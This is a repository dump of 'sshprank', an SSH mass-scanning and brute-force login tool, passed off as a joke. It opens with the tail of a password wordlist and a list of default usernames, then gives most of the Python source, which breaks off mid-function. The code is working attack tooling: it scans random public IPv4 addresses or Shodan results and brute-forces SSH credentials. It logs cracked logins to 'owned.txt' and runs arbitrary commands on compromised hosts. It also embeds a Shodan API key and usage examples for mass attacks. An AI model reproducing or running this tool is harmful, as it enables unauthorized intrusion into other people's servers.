@utumn321!
@utumn321?
vagina
Vagina
vagina1
vagina1!
Vagina1
vagina123
vagina123!
vagrant
web
web01
web1
web123
webadmin
webmaster
webmaster123
welcome
welcome1
Welcome1!
welcome123
Welcome123!
white
white1
white1!
white123
white123!
winter
winter!
winter#
winter.
winter?
winter@
Winter
Winter!
Winter#
Winter.
Winter?
Winter@
WINTER
WINTER!
WINTER#
WINTER.
WINTER?
WINTER@
winter1
winter1!
winter1?
Winter1
Winter1!
Winter1?
WINTER1
WINTER1!
WINTER1?
winter12
winter12!
winter12?
Winter12
Winter12!
Winter12?
WINTER12
WINTER12!
WINTER12?
winter123
winter123!
winter123?
Winter123
Winter123!
Winter123?
WINTER123
WINTER123!
WINTER123?
winter2
winter2!
winter2?
Winter2
Winter2!
Winter2?
WINTER2
WINTER2!
WINTER2?
winter321
winter321!
winter321?
Winter321
Winter321!
Winter321?
WINTER321
WINTER321!
WINTER321?
www
www123
www-data
yellow
zabbix
================================================
FILE: lists/user.list
================================================
accounting
admin
ansible
apache
backup
centos
debian
default
deploy
dev
developer
ec2-user
elastic
ftp
ftpuser
fwadmin
git
guest
guest01
guest1
hadoop
http
info
installer
jenkins
login
mail
mailadmin
maintainer
manager
minecraft
monitor
mysql
nagios
nginx
nobody
none
op
operator
oracle
pi
postgres
power
readonly
root
setup
ssh
student
superadmin
superuser
support
sys
sysadmin
system
teacher
test
tester
tomcat
toor
ubuntu
user
user01
user1
vagrant
web
web01
web1
webadmin
webmaster
www
www-data
zabbix
================================================
FILE: sshprank.py
================================================
#!/usr/bin/python3
# -*- coding: utf-8 -*- ########################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# sshprank #
# A fast SSH mass-scanner, login cracker, banner grabber and password auth #
# checker tool using the python-masscan and shodan module. #
# #
# NOTES #
# quick'n'dirty code #
# #
# AUTHOR #
# noptrix #
# #
################################################################################
import errno
import getopt
import hashlib
import json
import os
import signal
import sys
import socket
import tempfile
import time
import random
import ipaddress
import threading
from concurrent.futures import ThreadPoolExecutor, wait, FIRST_COMPLETED
import warnings
import logging
import masscan
import paramiko
import paramiko.transport as _pt
import shodan
__author__ = 'noptrix'
__version__ = '1.7.0'
__copyright__ = 'Santa Claus'
__license__ = 'MIT'
SUCCESS = 0
FAILURE = 1
NORM = '\033[0;37;10m'
BOLD = '\033[1;37;10m'
RED = '\033[1;31;10m'
GREEN = '\033[1;32;10m'
YELLOW = '\033[1;33;10m'
BLUE = '\033[1;34;10m'
BANNER = BLUE + r''' __ __
__________/ /_ ____ _________ _____ / /__
/ ___/ ___/ __ \/ __ \/ ___/ __ `/ __ \/ //_/
(__ |__ ) / / / /_/ / / / /_/ / / / / ,<
/____/____/_/ /_/ .___/_/ \__,_/_/ /_/_/|_|
/_/
''' + NORM + '''
--== [ by nullsecurity.net ] ==--'''
HELP = BOLD + '''usage''' + NORM + '''
sshprank <mode> [opts] | <misc>
''' + BOLD + '''mode options''' + NORM + '''
-h <hosts[:ports]> - single host, cidr, ip range or host list file to
crack. multiple ports can be separated by comma,
e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22
or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50
(default port: 22)
-m <opts> [-r <num>] - pass arbitrary masscan opts, portscan given hosts and
crack for logins. found sshd services will be saved to
'sshds.txt' in supported format for '-h' option and
even for '-b'. use '-r' for generating random ipv4
addresses rather than scanning given hosts. these
options are always on: '-sS -oX - --open'.
NOTE: if you intent to use the '--banner' option then
you need to specify '--source-ip <some_ipaddr>' which
is needed by masscan. better check masscan options!
-s <str;page;lim> - search ssh servers using shodan and crack logins.
see examples below. note: you need a better API key
than this one i offer in order to search more than 100
(= 1 page) ssh servers. so if you use this one use
'1' for 'page'.
-b <hosts[:ports]> - grab sshd banner from given target(s)
(default port: 22)
format: same as '-h' option
-p <hosts[:ports]> - check sshd(s) for password auth support
(default port: 22)
format: same as '-h' option
''' + BOLD + '''scan options''' + NORM + '''
-r <num> - generate <num> random ipv4 addresses, check for open
sshd port and crack for login (only with -m option!)
''' + BOLD + '''credential options''' + NORM + '''
-U <user|file> - single username or user list (default: root)
-P <pass|file> - single password or password list (default: root)
-c <file> - list of user:pass combination
''' + BOLD + '''brute options''' + NORM + '''
-e - exclude host after first login was found. continue
with other hosts instead
-E - exit sshprank completely after first login was found
-z - shuffle target list randomly before cracking
(only with -h <file>). saves to 'random_targets.txt'
-Z <num> - random brute: pick random target + creds each attempt.
<num> total attempts, 0 = infinite (use with -h, -U/-P)
''' + BOLD + '''exec options''' + NORM + '''
-C <cmd|file> - read commands from file (line by line) or execute a
single command on host if login was cracked
-N - do not output ssh command results
''' + BOLD + '''thread options''' + NORM + '''
-x <num> - num threads for parallel host crack (default: 50)
-S <num> - num threads for parallel service crack (default: 20)
-X <num> - num threads for parallel login crack (default: 5)
-B <num> - num threads for parallel banner grabbing (default: 70)
''' + BOLD + '''timeout options''' + NORM + '''
-T <sec> - num sec for auth and connect timeout (default: 5s)
-R <sec> - num sec for (banner) read timeout (default: 3s)
''' + BOLD + '''output options''' + NORM + '''
-o <file> - write found logins to file. format:
<host>:<port>:<user>:<pass> (default: owned.txt)
-v - verbose mode. show found logins, sshds, etc.
(default: off)
''' + BOLD + '''misc options''' + NORM + '''
-i <str> - spoof ssh client version string sent to sshd
(default: paramiko's default version string)
-w <file> - session file: if it exists, restore progress from
it (skip already-tried creds). on ctrl+c / -E,
state is auto-saved to ./sshprank_session.json
(or to <file> if -w was given). pass it back via
-w to resume.
-H - print help
-V - print version information
''' + BOLD + '''examples''' + NORM + '''
# crack targets from a given list with user admin, pw-list and 20 host-threads
$ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20
# first scan then crack from founds ssh services using 'root:admin'
$ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\
--range 192.168.13.1/24' -P admin
# generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s
# and crack logins using 'root:root' on found sshds
$ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v
# search 50 ssh servers via shodan and crack logins using 'root:root' against
# found sshds
$ sshprank -s 'SSH;1;50'
# grab banners and output to file with format supported for '-h' option
$ sshprank -b hosts.txt > sshds2.txt
# check if sshds support password auth
$ sshprank -p sshds.txt -v
# shuffle target list and crack
$ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt
# random brute: 500 random attempts from ip/user/pass lists
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500
# random brute infinite (ctrl+c to stop)
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0
# spoof ssh client version and crack
$ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'
# check pwauth with spoofed version
$ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v
# session file: ctrl+c, then run again to resume
$ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json
'''
DEFAULT_SESSION_PATH = './sshprank_session.json'
stargets = [] # shodan
excluded = {}
excluded_hosts = set()
_log_lock = threading.Lock()
_exclude_lock = threading.Lock()
_progress_lock = threading.Lock()
_attempts_done = 0
_attempts_total = 0
_progress_running = False
_progress_unbounded = False
_submitted_lock = threading.Lock()
_submitted = {} # {host: {port: count}} - cumulative iteration position
opts = {
'targets': {},
'targetlist': None,
'masscan_opts': '--open ',
'sho_opts': None,
'sho_str': None,
'sho_page': None,
'sho_lim': None,
'sho_key': 'Pp1oDSiavzKQJSsRgdzuxFJs8PQXzBL9',
'user': 'root',
'pass': 'root',
'cmd': None,
'cmd_no_out': False,
'hthreads': 50,
'sthreads': 20,
'lthreads': 5,
'bthreads': 70,
'ctimeout': 5,
'rtimeout': 3,
'logfile': 'owned.txt',
'exclude': False,
'exit': False,
'shuffle': False,
'randbrute': None,
'verbose': False,
'sshver': None,
'session': None,
'userlist_path': None,
'passlist_path': None,
'combolist_path': None
}
def log(msg='', _type='normal', pre_esc='', esc='\n'):
iprefix = f'{BOLD}{BLUE}[+] {NORM}'
gprefix = f'{BOLD}{GREEN}[*] {NORM}'
wprefix = f'{BOLD}{YELLOW}[!] {NORM}'
eprefix = f'{BOLD}{RED}[-] {NORM}'
clear = '\r\033[K' if _progress_running else ''
if _type == 'normal':
sys.stdout.write(f'{msg}')
elif _type == 'verbose':
sys.stdout.write(f' > {msg}{esc}')
elif _type == 'info':
sys.stderr.write(f'{clear}{pre_esc}{iprefix}{msg}{esc}')
elif _type == 'good':
sys.stderr.write(f'{clear}{pre_esc}{gprefix}{msg}{esc}')
elif _type == 'warn':
sys.stderr.write(f'{clear}{pre_esc}{wprefix}{msg}{esc}')
elif _type == 'error':
sys.stderr.write(f'{clear}{pre_esc}{eprefix}{msg}{esc}')
_cleanup_temp_files()
os._exit(FAILURE)
elif _type == 'spin':
sys.stderr.flush()
for i in ('-', '\\', '|', '/'):
sys.stderr.write(f'{pre_esc}{BOLD}{BLUE}[{i}] {NORM}{msg}')
time.sleep(0.05)
return
def parse_target(target):
if target.endswith(':'):
target = target.rstrip(':')
dtarget = {target.rstrip(): ['22']}
if ':' in target:
starget = target.split(':')
if starget[1]:
try:
if ',' in starget[1]:
ports = [p.rstrip() for p in starget[1].split(',')]
else:
ports = [starget[1].rstrip('\n')]
ports = list(filter(None, ports))
dtarget = {starget[0].rstrip(): ports}
except ValueError as err:
log(err.args[0].lower(), 'error')
return dtarget
def read_file(_file):
try:
with open(_file, 'r', encoding='latin-1') as f:
return [line.rstrip('\r\n') for line in f if line.strip()]
except (FileNotFoundError, PermissionError, OSError):
log(f'could not read from {_file}', 'error')
_MAX_EXPANSION = 1_000_000
_temp_files = []
def _cleanup_temp_files():
for p in _temp_files:
try:
if os.path.exists(p):
os.unlink(p)
except OSError:
pass
return
def _write_temp_targets(prefix, hosts, port_part):
suffix = f':{port_part}' if port_part else ''
fd, path = tempfile.mkstemp(prefix=prefix, suffix='.txt', text=True)
try:
with os.fdopen(fd, 'w') as f:
for ip in hosts:
f.write(f'{ip}{suffix}\n')
except OSError as err:
log(f'could not write target expansion: {err.strerror}', 'error')
return None
_temp_files.append(path)
return path
def _expand_cidr_to_file(arg):
if ':' in arg:
host_part, port_part = arg.split(':', 1)
else:
host_part, port_part = arg, ''
if '/' not in host_part or '.' not in host_part:
return None
try:
net = ipaddress.ip_network(host_part.strip(), strict=False)
except ValueError:
return None
count = net.num_addresses if net.num_addresses == 1 else max(0, net.num_addresses - 2)
if count > _MAX_EXPANSION:
log(f'cidr {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',
'error')
return None
hosts = [net.network_address] if net.num_addresses == 1 else list(net.hosts())
return _write_temp_targets('sshprank_cidr_', hosts, port_part)
def _expand_range_to_file(arg):
if ':' in arg:
host_part, port_part = arg.split(':', 1)
else:
host_part, port_part = arg, ''
if '-' not in host_part or '.' not in host_part:
return None
start_str, _, end_str = host_part.strip().partition('-')
try:
start = ipaddress.IPv4Address(start_str)
except (ipaddress.AddressValueError, ValueError):
return None
if '.' in end_str:
try:
end = ipaddress.IPv4Address(end_str)
except (ipaddress.AddressValueError, ValueError):
return None
else:
if not end_str.isdigit() or not 0 <= int(end_str) <= 255:
return None
base = '.'.join(start_str.split('.')[:3])
try:
end = ipaddress.IPv4Address(f'{base}.{end_str}')
except (ipaddress.AddressValueError, ValueError):
return None
if int(end) < int(start):
log(f'invalid range: {host_part} (end < start)', 'error')
return None
count = int(end) - int(start) + 1
if count > _MAX_EXPANSION:
log(f'range {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',
'error')
return None
hosts = [ipaddress.IPv4Address(i) for i in range(int(start), int(end) + 1)]
return _write_temp_targets('sshprank_range_', hosts, port_part)
def parse_cmdline(cmdline):
global opts
try:
_opts, _args = getopt.gnu_getopt(cmdline,
'h:m:s:b:p:r:U:P:c:C:Nx:S:X:B:T:R:o:i:w:eEzZ:vVH')
if _args:
log(f'unknown args: {", ".join(_args)}', 'error')
for o, a in _opts:
if o == '-h':
if os.path.isfile(a):
opts['targetlist'] = a
else:
expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
if expanded:
opts['targetlist'] = expanded
else:
opts['targets'] = parse_target(a)
if o == '-m':
opts['masscan_opts'] += a
if o == '-s':
opts['sho_opts'] = a
if o == '-b':
if os.path.isfile(a):
opts['targetlist'] = a
else:
expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
if expanded:
opts['targetlist'] = expanded
else:
opts['targets'] = parse_target(a)
if o == '-p':
if os.path.isfile(a):
opts['targetlist'] = a
else:
expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)
if expanded:
opts['targetlist'] = expanded
else:
opts['targets'] = parse_target(a)
if o == '-r':
opts['random'] = int(a)
if o == '-U':
if os.path.isfile(a):
opts['userlist'] = read_file(a)
opts['userlist_path'] = a
else:
opts['user'] = a
if o == '-P':
if os.path.isfile(a):
opts['passlist'] = read_file(a)
opts['passlist_path'] = a
else:
opts['pass'] = a
if o == '-c':
raw = read_file(a) or []
valid = []
bad = []
for line in raw:
if ':' in line:
valid.append(line)
else:
bad.append(line)
opts['combolist'] = valid
opts['combolist_path'] = a
opts['_combo_bad_lines'] = bad
if o == '-C':
opts['cmd'] = a
if o == '-N':
opts['cmd_no_out'] = True
if o == '-x':
opts['hthreads'] = int(a)
if o == '-S':
opts['sthreads'] = int(a)
if o == '-X':
opts['lthreads'] = int(a)
if o == '-B':
opts['bthreads'] = int(a)
if o == '-T':
opts['ctimeout'] = int(a)
if o == '-R':
opts['rtimeout'] = int(a)
if o == '-o':
opts['logfile'] = a
if o == '-i':
opts['sshver'] = a
if o == '-w':
opts['session'] = a
if o == '-e':
opts['exclude'] = True
if o == '-E':
opts['exit'] = True
if o == '-z':
opts['shuffle'] = True
if o == '-Z':
opts['randbrute'] = int(a)
if o == '-v':
opts['verbose'] = True
if o == '-V':
log(f'sshprank v{__version__}', _type='info')
sys.exit(SUCCESS)
if o == '-H':
log(HELP)
sys.exit(SUCCESS)
for k, flag in (('hthreads', '-x'), ('sthreads', '-S'),
('lthreads', '-X'), ('bthreads', '-B')):
if opts[k] < 1:
log(f'{flag} must be >= 1 (got {opts[k]})', 'error')
if 'random' in opts and opts['random'] < 1:
log(f'-r must be >= 1 (got {opts["random"]})', 'error')
if opts['randbrute'] is not None and opts['randbrute'] < 0:
log(f'-Z must be >= 0 (got {opts["randbrute"]})', 'error')
bad = opts.pop('_combo_bad_lines', [])
if bad:
if opts['verbose']:
for line in bad:
log(f'skipping malformed combo line: {line!r}', 'warn')
else:
log(f'skipped {len(bad)} malformed combo line(s)', 'warn')
except (getopt.GetoptError, ValueError) as err:
log(err.args[0].lower(), 'error')
return
def check_argv(cmdline):
modes = False
needed = ['-h', '-m', '-s', '-b', '-p', '-H', '-V']
if set(needed).isdisjoint(set(cmdline)):
log('wrong usage dude, check help', 'error')
if '-h' in cmdline:
if '-m' in cmdline or '-s' in cmdline or \
'-b' in cmdline or '-p' in cmdline:
modes = True
if '-m' in cmdline:
if '-h' in cmdline or '-s' in cmdline or \
'-b' in cmdline or '-p' in cmdline:
modes = True
if '-s' in cmdline:
if '-h' in cmdline or '-m' in cmdline or \
'-b' in cmdline or '-p' in cmdline:
modes = True
if '-b' in cmdline:
if '-h' in cmdline or '-m' in cmdline or \
'-s' in cmdline or '-p' in cmdline:
modes = True
if '-p' in cmdline:
if '-h' in cmdline or '-m' in cmdline or \
'-s' in cmdline or '-b' in cmdline:
modes = True
if modes:
log('choose only one mode', 'error')
opts['_session_eligible'] = not (
'-b' in cmdline or '-p' in cmdline or '-Z' in cmdline)
if '-w' in cmdline and not opts['_session_eligible']:
log('-w (session) has no effect with -b/-p/-Z, ignoring', 'warn')
opts['session'] = None
if '-r' in cmdline and '-m' not in cmdline:
log('-r requires -m', 'error')
return
def check_argc(cmdline):
if len(cmdline) == 0:
log('use -H for help', 'error')
return
def grab_banner(host, port):
s = None
try:
s = socket.create_connection((host, int(port)), opts['ctimeout'])
s.settimeout(opts['rtimeout'])
banner = str(s.recv(1024).decode('utf-8', errors='replace')).strip()
if not banner:
banner = '<NO BANNER>'
log(f'{host}:{port}:{banner}\n')
except socket.timeout:
if opts['verbose']:
log(f'socket timeout: {host}:{port}', 'warn')
except (OSError, ValueError):
if opts['verbose']:
log(f'could not connect: {host}:{port}', 'warn')
finally:
if s:
s.close()
return
class PortScanner(masscan.PortScanner):
@property
def scan_result(self):
return self._scan_result
def portscan():
try:
m = PortScanner()
m.scan(hosts='', ports='0', arguments=opts['masscan_opts'], sudo=True)
except masscan.NetworkConnectionError as err:
log('\n')
log('no sshds found or network unreachable', 'error')
except Exception as err:
log('\n')
log(f'unknown masscan error occured: {err}', 'error')
return m
def grep_service(scan, service='ssh', prot='tcp'):
targets = []
scan_result = scan.scan_result or {}
for h, hdata in scan_result.get('scan', {}).items():
for p, pdata in hdata.get(prot, {}).items():
if pdata.get('state') != 'open':
continue
services = pdata.get('services') or []
if services:
for s in services:
banner = s.get('banner', '')
name = s.get('name', '')
target = f"{h}:{p}:{banner}\n"
if opts['verbose']:
log(f'found sshd: {target}', 'good', esc='')
if service in name:
targets.append(target)
else:
if opts['verbose']:
log(f'found sshd: {h}:{p}:<no banner grab>', 'good', esc='\n')
targets.append(f'{h}:{p}:<no banner grab>\n')
return targets
def log_targets(targets, logfile):
try:
with _log_lock:
with open(logfile, 'a') as f:
f.writelines(targets)
except (FileNotFoundError, PermissionError) as err:
log(f'{err.args[1].lower()}: {logfile}', 'warn')
return
def _hash_file(path):
if not path or not os.path.isfile(path):
return None
h = hashlib.sha256()
try:
with open(path, 'rb') as f:
for chunk in iter(lambda: f.read(65536), b''):
h.update(chunk)
return h.hexdigest()
except OSError:
return None
return
def _save_session(path):
if not path:
return
data = {
'version': __version__,
'saved_at': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
'hashes': {
'userlist': _hash_file(opts.get('userlist_path')),
'passlist': _hash_file(opts.get('passlist_path')),
'combolist': _hash_file(opts.get('combolist_path')),
},
'submitted': {
h: dict(ports) for h, ports in _submitted.items()
},
'excluded_hosts': sorted(excluded_hosts),
'excluded_ports': {h: sorted(ps) for h, ps in excluded.items() if ps},
}
try:
tmp = path + '.tmp'
with open(tmp, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)
os.replace(tmp, path)
except OSError as err:
log(f'could not save session to {path}: {err}', 'warn')
return
def _resolve_session_path(interrupted):
if opts['session']:
return opts['session']
if interrupted and opts.get('_session_eligible', True):
return DEFAULT_SESSION_PATH
return None
def _save_and_log_session(interrupted):
path = _resolve_session_path(interrupted)
if path:
_save_session(path)
log(f'session saved to {path}', 'info')
def _load_session(path):
if not path or not os.path.isfile(path):
return None
try:
with open(path, 'r', encoding='utf-8') as f:
return json.load(f)
except (OSError, json.JSONDecodeError) as err:
log(f'session file corrupt ({err}), starting fresh', 'warn')
return None
return
def _apply_session(data):
global _submitted
hashes = data.get('hashes', {})
for kind, path_key in (('userlist', 'userlist_path'),
('passlist', 'passlist_path'),
('combolist', 'combolist_path')):
saved = hashes.get(kind)
if not saved:
continue
cur = _hash_file(opts.get(path_key))
if cur and cur != saved:
log(f'{kind} changed since last session - results may be off', 'warn')
with _submitted_lock:
for h, ports in data.get('submitted', {}).items():
_submitted[h] = {p: int(c) for p, c in ports.items()}
for h in data.get('excluded_hosts', []):
excluded_hosts.add(h)
for h, ps in data.get('excluded_ports', {}).items():
excluded.setdefault(h, set()).update(ps)
return
def _progress_inc_done(n=1):
global _attempts_done
with _progress_lock:
_attempts_done += n
return
def _progress_inc_total(n):
global _attempts_total
with _progress_lock:
_attempts_total += n
return
def _progress_loop():
iprefix = f'{BOLD}{BLUE}[+] {NORM}'
while _progress_running:
with _progress_lock:
done, total = _attempts_done, _attempts_total
if _progress_unbounded:
sys.stderr.write(f'\r{iprefix}cracking {done} attempts ')
sys.stderr.flush()
elif total > 0:
pct = done / total * 100
sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%) ')
sys.stderr.flush()
time.sleep(0.25)
with _progress_lock:
done, total = _attempts_done, _attempts_total
if _progress_unbounded:
sys.stderr.write(f'\r{iprefix}cracking {done} attempts\n')
sys.stderr.flush()
elif total > 0:
pct = done / total * 100
sys.stderr.write(f'\r{iprefix}cracking {done}/{total} ({pct:.2f}%)\n')
sys.stderr.flush()
return
def status(future, msg, pre_esc=''):
while future.running():
log(msg, 'spin', pre_esc)
return
def _run_remote_cmd(cli, cmd):
try:
stdin, stdout, stderr = cli.exec_command(cmd, timeout=opts['ctimeout'])
try:
stdin.channel.shutdown_write()
except Exception:
pass
if opts['cmd_no_out']:
return
rl = stdout.readlines()
el = stderr.readlines()
except Exception as err:
if opts['verbose']:
log(f"ssh command failed: '{cmd}' ({str(err)})", 'warn')
return
if rl:
log(f"ssh command result for: '{cmd}'", 'good', pre_esc='\n')
for out in rl:
log(f'{out}')
if el:
log(f"ssh command stderr for: '{cmd}'", 'warn', pre_esc='\n')
for err in el:
log(f'{err}')
return
def crack_login(host, port, username, password):
global excluded, excluded_hosts
cli = paramiko.SSHClient()
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
if host not in excluded_hosts and port not in excluded[host]:
cli.connect(host, port, username, password, timeout=opts['ctimeout'],
allow_agent=False, look_for_keys=False, auth_timeout=opts['ctimeout'])
try:
chan = cli.get_transport().open_session(timeout=opts['ctimeout'])
chan.close()
except Exception as err:
if opts['verbose']:
log(f'fake login: {host}:{port} (no channel: {str(err)})', 'warn')
return
if opts['exclude']:
with _exclude_lock:
if host in excluded_hosts:
return
excluded_hosts.add(host)
login = f'{host}:{port}:{username}:{password}'
log_targets(f'{login}\n', opts['logfile'])
if opts['verbose']:
log(f'found login: {login}', _type='good')
else:
log(f'found a login (check {opts["logfile"]})', _type='good')
if opts['cmd']:
if os.path.isfile(opts['cmd']):
log(f"sending ssh commands from {opts['cmd']}", 'info')
with open(opts['cmd'], 'r', encoding='latin-1') as _file:
for cmd in _file:
cmd = cmd.rstrip()
if not cmd:
continue
_run_remote_cmd(cli, cmd)
else:
log('sending your single ssh command line', 'info')
_run_remote_cmd(cli, opts['cmd'].rstrip())
if opts['exit']:
global _progress_running
_progress_running = False
_save_and_log_session(interrupted=True)
log('game over', 'info')
_cleanup_temp_files()
os._exit(SUCCESS)
return SUCCESS
except paramiko.AuthenticationException as err:
if 'publickey' in str(err):
excluded[host].add(port)
if opts['verbose']:
if 'publickey' in str(err):
reason = 'pubkey auth'
elif 'Authentication failed' in str(err):
reason = 'auth failed'
elif 'Authentication timeout' in str(err):
reason = 'auth timeout'
else:
reason = 'unknown'
log(f'login failure: {host}:{port} ({reason})', 'warn')
except (paramiko.ssh_exception.NoValidConnectionsError, socket.error):
if opts['verbose']:
log(f'could not connect: {host}:{port}', 'warn')
excluded[host].add(port)
except paramiko.SSHException as err:
if opts['verbose']:
log(f'ssh error: {host}:{port} ({str(err)})', 'warn')
except Exception as err:
if opts['verbose']:
log(f'other error: {host}:{port} ({str(err)})', 'warn')
finally:
try:
cli.close()
except OSError:
pass
_progress_inc_done()
return
def _creds_per_port():
has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts
c = 0 if has_list else 1
if 'userlist' in opts and 'passlist' in opts:
c += len(opts['userlist']) * len(opts['passlist'])
elif 'userlist' in opts:
c += len(opts['userlist'])
elif 'passlist' in opts:
c += len(opts['passlist'])
if 'combolist' in opts:
c += len(opts['combolist'])
return c
def crack_port(host, port):
with _submitted_lock:
start_i = _submitted.get(host, {}).get(port, 0)
if start_i > 0:
_progress_inc_done(start_i)
with ThreadPoolExecutor(opts['lthreads']) as exe:
futures = set()
max_pending = opts['lthreads'] * 4
i = 0
def submit(u, p):
nonlocal futures, i
i += 1
if i <= start_i:
return
with _submitted_lock:
_submitted.setdefault(host, {})[port] = i
if len(futures) >= max_pending:
_, futures = wait(futures, return_when=FIRST_COMPLETED)
futures.add(exe.submit(crack_login, host, port, u, p))
has_list = 'userlist' in opts or 'passlist' in opts or 'combolist' in opts
if not has_list:
submit(opts['user'], opts['pass'])
if 'userlist' in opts and 'passlist' in opts:
for u in opts['userlist']:
for p in opts['passlist']:
submit(u.rstrip(), p.rstrip())
if 'userlist' in opts and 'passlist' not in opts:
for u in opts['userlist']:
submit(u.rstrip(), opts['pass'])
if 'passlist' in opts and 'userlist' not in opts:
for p in opts['passlist']:
submit(opts['user'], p.rstrip())
if 'combolist' in opts:
for line in opts['combolist']:
l = line.split(':', 1)
submit(l[0].rstrip(), l[1].rstrip())
return
def run_threads(host, ports):
excluded.setdefault(host, set())
with ThreadPoolExecutor(opts['sthreads']) as e:
for port in ports:
e.submit(crack_port, host, port)
return
def gen_ipv4addr():
try:
ip = ipaddress.ip_address('.'.join(str(
random.randint(0, 255)) for _ in range(4)))
if not ip.is_loopback and not ip.is_private and not ip.is_multicast:
return str(ip)
except ValueError:
pass
return
def shuffle_targets():
try:
with open(opts['targetlist'], 'r', encoding='latin-1') as f:
lines = f.readlines()
random.shuffle(lines)
shuffled = 'random_targets.txt'
with open(shuffled, 'w', encoding='latin-1') as f:
f.writelines(lines)
opts['targetlist'] = shuffled
log(f'shuffled {len(lines)} targets -> {shuffled}', 'info')
except (FileNotFoundError, PermissionError) as err:
log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error')
return
def crack_rand_brute():
try:
with open(opts['targetlist'], 'r', encoding='latin-1') as f:
hosts = [line.rstrip() for line in f if line.strip()]
except (FileNotFoundError, PermissionError) as err:
log(f'{err.args[1].lower()}: {opts["targetlist"]}', 'error')
return
users = opts.get('userlist', [opts['user']])
passwords = opts.get('passlist', [opts['pass']])
combos = opts.get('combolist', [])
count = opts['randbrute']
global _progress_unbounded
if count > 0:
_progress_inc_total(count)
else:
_progress_unbounded = True
with ThreadPoolExecutor(opts['hthreads']) as exe:
futures = set()
max_pending = opts['hthreads'] * 4
i = 0
while count == 0 or i < count:
target = random.choice(hosts)
parsed = parse_target(target)
host = list(parsed.keys())[0]
port = random.choice(parsed[host])
if combos:
parts = random.choice(combos).split(':', 1)
user = parts[0].rstrip()
passwd = parts[1].rstrip()
else:
user = random.choice(users).rstrip()
passwd = random.choice(passwords).rstrip()
excluded.setdefault(host, set())
if len(futures) >= max_pending:
_, futures = wait(futures, return_when=FIRST_COMPLETED)
futures.add(exe.submit(crack_login, host, port, user, passwd))
i += 1
return
def crack_single():
host, ports = list(opts['targets'].copy().items())[0]
if not host:
log('empty host - check your -h argument', 'error')
_progress_inc_total(len(ports) * _creds_per_port())
run_threads(host, ports)
return
def crack_multi():
try:
creds = _creds_per_port()
with open(opts['targetlist'], 'r', encoding='latin-1') as f:
with ThreadPoolExecutor(opts['hthreads']) as exe:
futures = set()
max_pending = opts['hthreads'] * 4
for line in f:
line = line.strip()
if not line:
continue
if ':' in line:
host, p = line.split(':', 1)
host = host.strip()
ports = [pp.rstrip() for pp in p.split(',')]
else:
host = line
ports = ['22']
if not host:
continue
_progress_inc_total(len(ports) * creds)
if len(futures) >= max_pending:
_, futures = wait(futures, return_when=FIRST_COMPLETED)
futures.add(exe.submit(run_threads, host, ports))
except (FileNotFoundError, PermissionError) as err:
log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')
return
def crack_random():
ptargets = []
for _ in range(opts['random']):
ptargets.append(gen_ipv4addr())
ptargets = [x for x in ptargets if x is not None]
opts['masscan_opts'] += ' ' + ' '.join(ptargets)
return
def crack_scan():
with ThreadPoolExecutor(1) as e:
future = e.submit(portscan)
status(future, 'scanning sshds', pre_esc='\r')
log('\n')
targets = grep_service(future.result())
num_targets = len(targets)
if num_targets > 0:
opts['targetlist'] = 'sshds.txt'
log_targets(targets, opts['targetlist'])
log(f'found {num_targets} active sshds', 'good')
crack_multi()
else:
log('no sshds found :(', _type='warn')
return
def check_banners():
try:
with open(opts['targetlist'], 'r', encoding='latin-1') as fh:
with ThreadPoolExecutor(opts['bthreads']) as exe:
futures = set()
max_pending = opts['bthreads'] * 4
for line in fh:
line = line.strip()
if not line:
continue
target = parse_target(line)
host = ''.join([*target])
if not host:
continue
ports = target.get(host)
for port in ports:
if len(futures) >= max_pending:
_, futures = wait(futures, return_when=FIRST_COMPLETED)
futures.add(exe.submit(grab_banner, host, port))
except (FileNotFoundError, PermissionError) as err:
log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')
return
def check_pwauth(host, port):
sock = None
t = None
try:
sock = socket.create_connection(
(host, int(port)), timeout=opts['ctimeout']
)
t = paramiko.Transport(sock)
sec = t.get_security_options()
try:
sec.kex = list(_pt.Transport._preferred_kex)
sec.ciphers = list(_pt._ENCRYPT.keys())
sec.digests = list(_pt._MAC_INFO.keys())
except Exception:
pass
t.start_client(timeout=opts['ctimeout'])
t.auth_password('__sshprank_probe__', os.urandom(8).hex())
log(f'{host}:{port}:pwauth=yes\n')
if opts['verbose']:
log(f'pwauth enabled: {host}:{port}', 'good')
except paramiko.BadAuthenticationType as err:
allowed = ','.join(err.allowed_types)
log(f'{host}:{port}:pwauth=no ({allowed})\n')
if opts['verbose']:
log(f'pwauth disabled: {host}:{port} ({allowed})', 'warn')
except paramiko.AuthenticationException:
log(f'{host}:{port}:pwauth=yes\n')
if opts['verbose']:
log(f'pwauth enabled: {host}:{port}', 'good')
except (paramiko.ssh_exception.NoValidConnectionsError,
socket.error):
if opts['verbose']:
log(f'could not connect: {host}:{port}', 'warn')
except paramiko.SSHException as err:
if opts['verbose']:
